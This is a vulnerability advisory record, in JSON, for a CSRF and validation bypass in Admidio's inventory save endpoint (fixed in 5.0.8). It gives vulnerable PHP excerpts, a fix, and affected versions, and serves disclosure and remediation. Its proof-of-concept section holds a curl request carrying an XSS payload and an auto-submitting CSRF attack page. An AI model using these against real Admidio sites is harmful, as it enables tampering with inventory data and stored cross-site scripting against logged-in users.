{"id":"GHSA-4rwm-c5mj-wh7x","summary":"Admidio has CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter","details":"## Summary\n\nThe inventory module's `item_save` endpoint accepts a user-controllable POST parameter `imported` that, when set to `true`, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the `FormPresenter` validation normally enforces.\n\n## Details\n\nIn `modules/inventory.php`, the `imported` parameter is read from POST input:\n\n**File:** `modules/inventory.php:50`\n```php\n$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' =\u003e false));\n```\n\nThis is then passed to `ItemService`:\n\n**File:** `modules/inventory.php:251-256`\n```php\n$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported);\n$itemService-\u003esave(true);\n```\n\nInside `ItemService::save()`, the `postImported` flag completely skips CSRF and form validation:\n\n**File:** `src/Inventory/Service/ItemService.php:99-109`\n```php\npublic function save(bool $multiEdit = false): void\n{\n    global $gCurrentSession, $gL10n, $gSettingsManager;\n\n    // check form field input and sanitized it from malicious content\n    if (!$this-\u003epostImported) {\n        $itemFieldsEditForm = $gCurrentSession-\u003egetFormObject($_POST['adm_csrf_token']);\n        $formValues = $itemFieldsEditForm-\u003evalidate($_POST, $multiEdit);\n    } else {\n        $formValues = $_POST;   // Raw $_POST used with no CSRF check, no validation\n    }\n    // ... item data is saved using raw $formValues\n```\n\nWhen `imported=1` is sent, the code:\n1. Skips `$gCurrentSession-\u003egetFormObject()` — which validates the CSRF token\n2. Skips `$itemFieldsEditForm-\u003evalidate()` — which sanitizes and validates field values\n3. Uses raw `$_POST` values directly to save to the database\n\nThis means:\n- CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data\n- Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped\n- Raw user input flows into `$this-\u003eitemRessource-\u003esetValue()` and then `saveItemData()` without the normal server-side sanitization\n\n## PoC\n\n```bash\n# As an authenticated user with inventory access, save arbitrary item data\n# without a valid CSRF token and without form validation:\n\ncurl -X POST -b 'ADMIDIO_SESSION=\u003csession\u003e' \\\n  'https://admidio.local/modules/inventory.php?mode=item_save' \\\n  -d 'imported=1' \\\n  -d 'adm_csrf_token=anything' \\\n  -d 'INF-CATEGORY=1' \\\n  -d 'INF-ITEMNAME=\u003cscript\u003ealert(1)\u003c/script\u003e'\n\n# The CSRF token is not checked because imported=true skips the form object lookup.\n# The field value is not sanitized because validate() is skipped.\n```\n\nA CSRF attack page would look like:\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://admidio.local/modules/inventory.php?mode=item_save\" method=\"POST\"\u003e\n  \u003cinput type=\"hidden\" name=\"imported\" value=\"1\" /\u003e\n  \u003cinput type=\"hidden\" name=\"adm_csrf_token\" value=\"dummy\" /\u003e\n  \u003cinput type=\"hidden\" name=\"INF-CATEGORY\" value=\"1\" /\u003e\n  \u003cinput type=\"hidden\" name=\"INF-ITEMNAME\" value=\"Attacker-controlled data\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.forms[0].submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Impact\n\n- **CSRF bypass**: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.\n- **Validation bypass**: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.\n- **Stored XSS potential**: Because `validate()` is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).\n\n## Recommended Fix\n\nRemove the `imported` parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the `imported` flag:\n\n```php\npublic function save(bool $multiEdit = false): void\n{\n    global $gCurrentSession, $gL10n, $gSettingsManager;\n\n    // ALWAYS validate CSRF token\n    $itemFieldsEditForm = $gCurrentSession-\u003egetFormObject($_POST['adm_csrf_token']);\n\n    if (!$this-\u003epostImported) {\n        $formValues = $itemFieldsEditForm-\u003evalidate($_POST, $multiEdit);\n    } else {\n        // For imported items, still validate the CSRF token (done above)\n        // and apply basic sanitization\n        $formValues = $itemFieldsEditForm-\u003evalidate($_POST, $multiEdit);\n    }\n    // ...\n}\n```\n\nAlternatively, the `imported` flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.","aliases":["CVE-2026-34383"],"modified":"2026-03-31T23:26:26.497332Z","published":"2026-03-31T23:11:48Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-31T23:11:48Z","nvd_published_at":"2026-03-31T21:16:30Z","cwe_ids":["CWE-20","CWE-352"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-4rwm-c5mj-wh7x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34383"},{"type":"WEB","url":"https://github.com/Admidio/admidio/commit/00494b95dfe847af8b938e4397e5d909d8f36839"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.8"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-4rwm-c5mj-wh7x/GHSA-4rwm-c5mj-wh7x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}